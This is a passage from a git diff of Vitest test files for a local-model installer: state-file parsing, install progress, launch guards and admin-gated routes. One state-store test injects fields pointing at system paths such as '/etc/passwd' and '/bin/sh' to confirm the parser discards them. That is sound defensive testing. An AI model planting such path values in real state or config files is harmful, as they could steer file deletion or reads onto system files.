vi.fn(async (install?: { signal?: AbortSignal; onProgress?: typeof report }) => { + report = install?.onProgress ?? report; + await untilAborted(install?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalled()); + report({ completedBytes: 0, totalBytes: RUNTIME_BYTES }); + expect((await h.service.view()).progress).not.toHaveProperty('bytesPerSecond'); + h.world.clock += 2_000; + report({ completedBytes: 20_000_000, totalBytes: RUNTIME_BYTES }); + expect((await h.service.view()).progress).toMatchObject({ + completedBytes: 20_000_000, + totalBytes: RUNTIME_BYTES, + bytesPerSecond: 10_000_000, + mbPerSecond: '10', + // (185,971,671 - 20,000,000) / 10,000,000 = 16.6, rounded up. + secondsLeft: 17, + }); + await h.service.cancel(); + }); + + it('names the model to try next only when the catalogue still has it', async () => { + const state: LocalModelStateFile = { + ...jobAt('verify', 'paused'), + state: 'failed', + error: { code: 'no-tool-call', nextModelId: 'gone:1b' }, + }; + const h = setup({ state }); + const view = await h.service.view(); + expect(view.error?.next).toBe('next-model'); + expect(view.error).not.toHaveProperty('nextModel'); + }); +}); diff --git a/test/local-model-state-store.test.ts b/test/local-model-state-store.test.ts new file mode 100644 index 00000000..f6137336 --- /dev/null +++ b/test/local-model-state-store.test.ts @@ -0,0 +1,270 @@ +/** + * @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts). + * + * What is pinned: + * - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown + * state and a state that lacks a member it needs all read as idle, and a member of the + * wrong type is dropped rather than trusted; + * - the file holds no path, so nothing in it can point a delete anywhere; + * - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`. + * + * Port: N/A (no server; the file lives in the test's temp data dir). + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { dataPath } from '../src/config/instance.js'; +import { + IDLE_LOCAL_MODEL_STATE, + mutateLocalModelState, + parseLocalModelState, + readLocalModelState, +} from '../src/local-model/state-store.js'; +import type { LocalModelStateFile } from '../src/types.js'; + +const FILE = () => dataPath('local-model.json'); + +const INSTALLED: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + pullBytes: 23_105_798_956, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + updatedAt: '2026-11-06T10:00:00.000Z', +}; + +const PAUSED: LocalModelStateFile = { + schema: 1, + state: 'paused', + step: 'model', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 }, +}; + +const FAILED: LocalModelStateFile = { + ...PAUSED, + state: 'failed', + step: 'verify', + error: { + code: 'no-tool-call', + vars: { model: 'Qwen3.6 35B-A3B' }, + detail: 'finish_reason stop', + nextModelId: 'gpt-oss:20b', + }, +}; + +afterEach(() => { + rmSync(FILE(), { force: true }); +}); + +describe('parseLocalModelState', () => { + it('reads back exactly what a state of each kind holds', () => { + for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) { + expect(parseLocalModelState(JSON.stringify(state))).toEqual(state); + } + }); + + it.each([ + ['an empty file', ''], + ['text that does not parse', '{"schema":1,"state":"installed",'], + ['a list', '[]'], + ['null', 'null'], + ['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })], + ['no schema', JSON.stringify({ state: 'installed' })], + ['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })], + ['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })], + ['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })], + ['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })], + ])('%s reads as idle', (_label, raw) => { + expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('a state that lacks a member it needs is not trusted: it reads as idle', () => { + const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => { + const copy: Record<string, unknown> = { ...state }; + delete copy[key]; + return JSON.stringify(copy); + }; + // Installed needs its model, its coding agent and its runtime (the port). + expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE); + // A job needs its step and its steps, and a failed one its error. + expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + }); + + it('drops a member of the wrong type instead of trusting it', () => { + const parsed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 }, + runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 }, + loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' }, + updatedAt: 5, + }) + ); + expect(parsed).toEqual({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + }); + }); + + it('a port that is not a port makes the runtime unknown', () => { + for (const port of [0, 70_000, 11435.5, '11435', null]) { + expect( + parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } })) + ).not.toHaveProperty('runtime'); + } + }); + + it('only an explicit false switches the runtime off', () => { + const enabled = (value: unknown) => + parseLocalModelState( + JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } }) + ).runtime?.enabled; + expect(enabled(false)).toBe(false); + expect(enabled(true)).toBe(true); + expect(enabled(undefined)).toBe(true); + expect(enabled('false')).toBe(true); + }); + + it('drops members it does not know, at every level: a state file holds no path', () => { + const parsed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + root: '/Users/me', + runtimeDir: '/', + model: { ...INSTALLED.model, path: '/etc' }, + runtime: { ...INSTALLED.runtime, binary: '/bin/sh' }, + connection: { ...INSTALLED.connection, file: '/etc/passwd' }, + }) + ); + expect(parsed).toEqual(INSTALLED); + expect(JSON.stringify(parsed)).not.toContain('/'); + }); + + it('keeps the model a replaced job left behind on a job, and never on an installed state', () => { + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe( + 'qwen3.8:27b' + ); + expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty( + 'replacedModelId' + ); + }); + + it('an error is kept only on a failed job, and progress and a step only on a job', () => { + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error'); + const installed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + error: FAILED.error, + step: 'connect', + steps: PAUSED.steps, + progress: PAUSED.progress, + }) + ); + expect(installed).toEqual(INSTALLED); + }); +}); + +describe('readLocalModelState', () => { + it('is idle when the file is missing, and never throws', async () => { + expect(existsSync(FILE())).toBe(false); + expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('is idle for a file that does not parse', async () => { + writeFileSync(FILE(), 'not json'); + expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('reads what is stored', async () => { + writeFileSync(FILE(), JSON.stringify(INSTALLED)); + expect(await readLocalModelState()).toEqual(INSTALLED); + }); +}); + +describe('mutateLocalModelState', () => { + it('writes the returned state, stamps updatedAt, and answers with before and after', async () => { + const { updatedAt: _stamp, ...paused } = PAUSED; + const { before, after } = await mutateLocalModelState(() => paused); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(after).toMatchObject(paused); + expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false); + expect(await readLocalModelState()).toEqual(after); + }); + + it('writes nothing when the change returns undefined: no file appears', async () => { + const { before, after } = await mutateLocalModelState(() => undefined); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(after).toBeUndefined(); + expect(existsSync(FILE())).toBe(false); + }); + + it('the file is mode 0600 and no temp file is left beside it', async () => { + await mutateLocalModelState(() => PAUSED); + expect(statSync(FILE()).mode & 0o777).toBe(0o600); + expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([ + 'local-model.json', + ]); + }); + + it('changes started together run one after the other: none is lost', async () => { + await mutateLocalModelState(() => PAUSED); + const add = (bytes: number) => + mutateLocalModelState((current) => ({ + ...current, + progress: { + completedBytes: (current.progress?.completedBytes ?? 0) + bytes, + totalBytes: 23_105_798_956, + }, + })); + await Promise.all(Array.from({ length: 10 }, () => add(1_000))); + expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000); + }); + + it('a change that throws rejects its own caller and the next one still runs', async () => { + const thrown = mutateLocalModelState(() => { + throw new Error('boom'); + }); + const next = mutateLocalModelState(() => PAUSED); + await expect(thrown).rejects.toThrow('boom'); + expect((await next).after).toMatchObject({ state: 'paused' }); + }); + + it('replaces a file that does not parse: it holds nothing of the person to lose', async () => { + writeFileSync(FILE(), '{broken'); + const { before } = await mutateLocalModelState(() => PAUSED); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' }); + }); +}); diff --git a/test/routes/local-model-launch-guard.test.ts b/test/routes/local-model-launch-guard.test.ts new file mode 100644 index 00000000..ce77f5f0 --- /dev/null +++ b/test/routes/local-model-launch-guard.test.ts @@ -0,0 +1,304 @@ +/** + * @fileoverview The launch guard of the endpoint the local model install manages: both ways a + * session gets onto a custom model endpoint ask the install service first. + * + * - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and + * - `POST /api/quick-start` with `customModel` (a session is created on it) + * + * call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is + * found and before anything is written, restarted or created. A sentence back is the answer + * (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a + * model whose digest is no longer the one stored at install time is not launched, and how + * nothing is launched against a port our runtime is not on. + * + * The service is replaced by a fake for most cases, and is the REAL one (over the real state + * file, with no runtime running) for the cases that pin the default wiring. + * + * Port: N/A (app.inject, no real port needed) + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import Fastify, { type FastifyInstance } from 'fastify'; +import fastifyCookie from '@fastify/cookie'; +import { rmSync, writeFileSync } from 'node:fs'; +import { rm } from 'node:fs/promises'; +import { join } from 'node:path'; +import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js'; +import { createRouteTestHarness } from './_route-test-utils.js'; +import { installRouteErrorHandler } from '../../src/web/route-error-handler.js'; +import { registerSessionRoutes } from '../../src/web/routes/session-routes.js'; +import { dataPath, getDataDir } from '../../src/config/instance.js'; +import { CASES_DIR } from '../../src/web/route-helpers.js'; +import { Session } from '../../src/session.js'; +import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js'; +import { webviewFetch } from '../../src/web/webview-egress.js'; +import type { LocalModelService } from '../../src/local-model/install-job.js'; + +vi.mock('../../src/web/webview-egress.js', async () => { + const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>( + '../../src/web/webview-egress.js' + ); + return { ...actual, webviewFetch: vi.fn() }; +}); +const fetchMock = vi.mocked(webviewFetch); + +// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the +// code under test and would refuse every launch on a machine without the binary. +vi.mock('../../src/utils/cli-launcher.js', async () => { + const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>( + '../../src/utils/cli-launcher.js' + ); + return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) }; +}); + +/** The service the session routes get: a fake by default, the real one where a test says so. */ +const guard = vi.hoisted(() => ({ + launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(), + real: undefined as LocalModelService | undefined, +})); +vi.mock('../../src/local-model/install-job.js', async () => { + const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>( + '../../src/local-model/install-job.js' + ); + return { + ...actual, + getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage }, + }; +}); + +const MANAGED: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, +}; + +const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' }; + +const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.'; +const STATE = () => dataPath('local-model.json'); + +/** The state file of an installed model whose connection is the managed record. */ +function writeInstalledState(): void { + writeFileSync( + STATE(), + JSON.stringify({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }) + ); +} + +async function realService(): Promise<LocalModelService> { + const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>( + '../../src/local-model/install-job.js' + ); + // The real service with its real state file. No runtime was ever started by it. + return actual.createLocalModelService(); +} + +beforeEach(async () => { + guard.launchRefusalMessage.mockReset(); + guard.launchRefusalMessage.mockResolvedValue(undefined); + guard.real = undefined; + fetchMock.mockReset(); + fetchMock.mockResolvedValue(new Response('not found', { status: 404 })); + await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]); +}); + +afterEach(async () => { + rmSync(STATE(), { force: true }); + await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true }); + await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true }); +}); + +describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => { + async function setup() { + const harness = await createRouteTestHarness(registerSessionRoutes); + const session = harness.ctx.sessions.get('test-session-1')!; + session.mode = 'claude'; + return { ...harness, session }; + } + + const apply = (app: FastifyInstance, payload: Record<string, unknown>) => + app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload }); + + it('asks the install service with the endpoint and the model, before anything is applied', async () => { + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b'); + // No refusal: the model is applied and the CLI restarted, as for any endpoint. + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + expect(session.restartCli).toHaveBeenCalledTimes(1); + }); + + it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => { + const { app, session } = await setup(); + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' }); + expect(session.setCustomModel).not.toHaveBeenCalled(); + expect(session.restartCli).not.toHaveBeenCalled(); + // The runtime was not even asked what it has loaded. + expect(fetchMock).not.toHaveBeenCalled(); + }); + + it('every other endpoint is asked about too, and the service lets it through', async () => { + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3'); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + + it('clearing a selection is never refused: it is the way OFF the endpoint', async () => { + const { app, session } = await setup(); + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + session.setCustomModel.mockReturnValue({ previousConfigDir: undefined }); + const res = await apply(app, { clear: true }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + expect(session.setCustomModel).toHaveBeenCalledWith(undefined); + }); + + it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => { + const { app } = await setup(); + const res = await apply(app, { endpointId: 'nope', modelId: 'x' }); + expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' }); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + }); + + describe('with the real install service', () => { + it('an installed model whose runtime is not running is not switched to', async () => { + writeInstalledState(); + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.json()).toEqual({ + success: false, + error: 'The model on this Mac is not running. Start it first.', + errorCode: 'OPERATION_FAILED', + }); + expect(session.setCustomModel).not.toHaveBeenCalled(); + }); + + it('a record with the reserved id that nobody installed is an endpoint like any other', async () => { + // No state file: this feature wrote nothing, so there is nothing of ours to guard. + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + expect(res.statusCode).toBe(200); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + + it('any other endpoint is untouched by an installed model', async () => { + writeInstalledState(); + guard.real = await realService(); + const { app, session } = await setup(); + const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' }); + expect(res.statusCode).toBe(200); + expect(session.setCustomModel).toHaveBeenCalledTimes(1); + }); + }); +}); + +describe('POST /api/quick-start with customModel on the managed endpoint', () => { + let app: FastifyInstance; + let ctx: MockRouteContext; + + const quickStart = (payload: Record<string, unknown>) => + app.inject({ method: 'POST', url: '/api/quick-start', payload }); + + beforeEach(async () => { + vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined); + vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined); + vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true); + app = Fastify({ logger: false }); + await app.register(fastifyCookie); + ctx = createMockRouteContext(); + registerSessionRoutes(app, ctx); + installRouteErrorHandler(app); + await app.ready(); + }); + + afterEach(async () => { + await app.close(); + vi.restoreAllMocks(); + safeRmHomeTree(CASES_DIR); + }); + + it('asks the install service, and with no refusal the session starts on the local model', async () => { + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-ok', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().sessionId).toBeTruthy(); + expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b'); + expect(ctx.sessions.size).toBe(before + 1); + const session = ctx.sessions.get(res.json().sessionId) as unknown as Session; + expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }); + }); + + it('a changed model refuses the launch in one plain sentence, and no session is created', async () => { + guard.launchRefusalMessage.mockResolvedValue(CHANGED); + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-changed', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' }); + expect(ctx.sessions.size).toBe(before); + expect(Session.prototype.startInteractive).not.toHaveBeenCalled(); + expect(fetchMock).not.toHaveBeenCalled(); + }); + + it('a launch without a custom model never asks', async () => { + const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' }); + expect(res.statusCode).toBe(200); + expect(guard.launchRefusalMessage).not.toHaveBeenCalled(); + }); + + describe('with the real install service', () => { + it('an installed model whose runtime is not running is not launched', async () => { + writeInstalledState(); + guard.real = await realService(); + const before = ctx.sessions.size; + const res = await quickStart({ + caseName: 'lm-stopped', + mode: 'claude', + customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' }, + }); + expect(res.json()).toEqual({ + success: false, + error: 'The model on this Mac is not running. Start it first.', + errorCode: 'OPERATION_FAILED', + }); + expect(ctx.sessions.size).toBe(before); + }); + + it('a launch on any other endpoint goes on as before', async () => { + writeInstalledState(); + guard.real = await realService(); + const res = await quickStart({ + caseName: 'lm-other', + mode: 'claude', + customModel: { endpointId: 'ep1', modelId: 'qwen3' }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().sessionId).toBeTruthy(); + expect(res.json().success).not.toBe(false); + }); + }); +}); diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index a3e7d31c..0ac50443 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -1,12 +1,17 @@ /** - * @fileoverview GET /api/local-model: what this Mac is and which local model fits it. + * @fileoverview The local model routes: GET /api/local-model (what this Mac is and which local + * model fits it, plus where the install stands) and the verbs that install, cancel, resume, + * start, stop and remove. * - * The route only composes four injected functions (the hardware probe, the catalogue getter, - * the harness facts and the pure `recommend()`), so every test passes its own and no test - * depends on what those modules compute. What is pinned here is the route's own contract: - * the envelope, the admin gate in multi-user mode, that an unsupported platform and a failed - * probe are answers (200) and never a 500, what does answer 500, and that a request writes - * nothing. + * The routes only compose injected functions (the hardware probe, the catalogue getter, the + * harness facts, the pure `recommend()` and the install service), so every test passes its own + * and no test depends on what those modules compute. What is pinned here is the routes' own + * contract: the envelope, the admin gate on EVERY verb in multi-user mode, that an unsupported + * platform and a failed probe are answers (200) and never a 500, what does answer 500, how a + * verb's refusal becomes a 400 or a 409 with its conflict, that DELETE hands the live sessions + * to the service, and that a GET with nothing installed writes nothing. + * + * The install service itself is tested in test/local-model-install-service.test.ts. * * Port: N/A (app.inject()). */ @@ -24,12 +29,22 @@ import { } from '../../src/web/routes/local-model-routes.js'; import { buildHarnessFacts } from '../../src/local-model/harness-facts.js'; import { formatGb, memClassGb } from '../../src/local-model/format.js'; -import { getDataDir } from '../../src/config/instance.js'; import { + createLocalModelService, + getLocalModelService, + type LocalModelService, + type LocalModelVerbResult, +} from '../../src/local-model/install-job.js'; +import { CustomModelHostsWriteRefusedError } from '../../src/custom-model-hosts-writer.js'; +import { SettingsWriteRefusedError } from '../../src/web/settings-writer.js'; +import { dataPath, getDataDir } from '../../src/config/instance.js'; +import { + LOCAL_MODEL_INSTALL_LABELS, LOCAL_MODEL_LABELS, type HardwareFacts, type HarnessFact, type LocalModelCatalog, + type LocalModelInstallView, type Recommendation, } from '../../src/types.js'; @@ -37,10 +52,6 @@ const CATALOG: LocalModelCatalog = { schema: 1, updated: '2026-11-06', minMacosMajor: 14, - promptCacheTiers: [ - { minMemGb: 0, bytes: 512 * 1024 * 1024 }, - { minMemGb: 32, bytes: 2 * 1024 ** 3 }, - ], models: [], harnesses: [ { cli: 'opencode', minContext: 65536, rank: 3 }, @@ -111,6 +122,10 @@ const OK: Recommendation = { speed: 'unknown', speedLabel: LOCAL_MODEL_LABELS.speedUnknown, tested: false, + needSource: 'estimated', + harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }], + installBytes: 17740000000, + installGb: '17.7', }, alternatives: [], budgetBytes: 37580963840, @@ -133,12 +148,58 @@ const FACTS: HarnessFact[] = [ { cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true }, ]; +/** The install view of a Mac with nothing installed, as the service would answer it. */ +const IDLE_VIEW: LocalModelInstallView = { + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' }, + folder: '/Users/me/.codeman/local-model', + actions: ['install'], +}; + +const INSTALLING_VIEW: LocalModelInstallView = { + ...IDLE_VIEW, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: 131072, + actions: ['cancel'], +}; + +const OK_RESULT: LocalModelVerbResult = { ok: true, view: INSTALLING_VIEW }; + +type ServiceMock = { [K in keyof LocalModelService]: Mock<LocalModelService[K]> }; + +/** An install service whose every verb answers `OK_RESULT` and whose view is idle. */ +function fakeService(): ServiceMock { + return { + view: vi.fn(async () => IDLE_VIEW), + launchRefusal: vi.fn(async () => undefined), + launchRefusalMessage: vi.fn(async () => undefined), + recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })), + install: vi.fn(async () => OK_RESULT), + cancel: vi.fn(async () => OK_RESULT), + resume: vi.fn(async () => OK_RESULT), + runtime: vi.fn(async () => OK_RESULT), + remove: vi.fn(async () => OK_RESULT), + boot: vi.fn(async () => {}), + shutdown: vi.fn(async () => {}), + onRuntimeChange: vi.fn(), + idle: vi.fn(async () => {}), + }; +} + interface Fakes { deps: LocalModelRouteDeps; readHardware: Mock<LocalModelRouteDeps['readHardware']>; getCatalog: Mock<LocalModelRouteDeps['getCatalog']>; buildHarnessFacts: Mock<LocalModelRouteDeps['buildHarnessFacts']>; recommend: Mock<LocalModelRouteDeps['recommend']>; + service: ServiceMock; } function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes { @@ -146,17 +207,28 @@ function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = O const getCatalog = vi.fn<LocalModelRouteDeps['getCatalog']>(() => CATALOG); const buildFacts = vi.fn<LocalModelRouteDeps['buildHarnessFacts']>(async () => FACTS); const recommend = vi.fn<LocalModelRouteDeps['recommend']>(() => recommendation); + const service = fakeService(); return { - deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend }, + deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, service: () => service }, readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, + service, }; } -const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) => - createRouteTestHarness((app) => registerLocalModelRoutes(app, deps), authUser ? { authUser } : undefined); +type AuthUser = { username: string; role: 'admin' | 'user' }; + +/** The live sessions the DELETE looks at: a name, and for some the endpoint their model comes from. */ +type SessionLike = { name: string; customModel?: { endpointId: string } }; + +const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: AuthUser, sessions: SessionLike[] = []) => + createRouteTestHarness( + (app) => + registerLocalModelRoutes(app, { sessions: new Map(sessions.map((session, i) => [`s${i}`, session])) }, deps), + authUser ? { authUser } : undefined + ); const get = async (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) => { const { app } = await harness(deps, authUser); @@ -191,10 +263,30 @@ describe('GET /api/local-model', () => { expect(res.statusCode).toBe(200); expect(res.json()).toEqual({ success: true, - data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06' }, + data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06', install: IDLE_VIEW }, }); }); + it('recommends with what the install service knows: the measured budget and the runtime still to download', async () => { + const f = fakes(); + f.service.recommendOptions.mockResolvedValue({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 }); + await get(f.deps); + expect(f.service.recommendOptions).toHaveBeenCalledTimes(1); + expect(f.recommend.mock.calls[0][3]).toEqual({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 }); + }); + + it('carries the install view of the service as it is, in every state', async () => { + const f = fakes(); + f.service.view.mockResolvedValue(INSTALLING_VIEW); + const res = await get(f.deps); + expect(res.json().data.install).toEqual(INSTALLING_VIEW); + expect(f.service.view).toHaveBeenCalledTimes(1); + // Looking is not doing: no verb of the service was called. + for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) { + expect(f.service[verb]).not.toHaveBeenCalled(); + } + }); + it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => { const f = fakes(); await get(f.deps); @@ -211,7 +303,7 @@ describe('GET /api/local-model', () => { it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => { const res = await get(fakes().deps); const { data } = res.json(); - 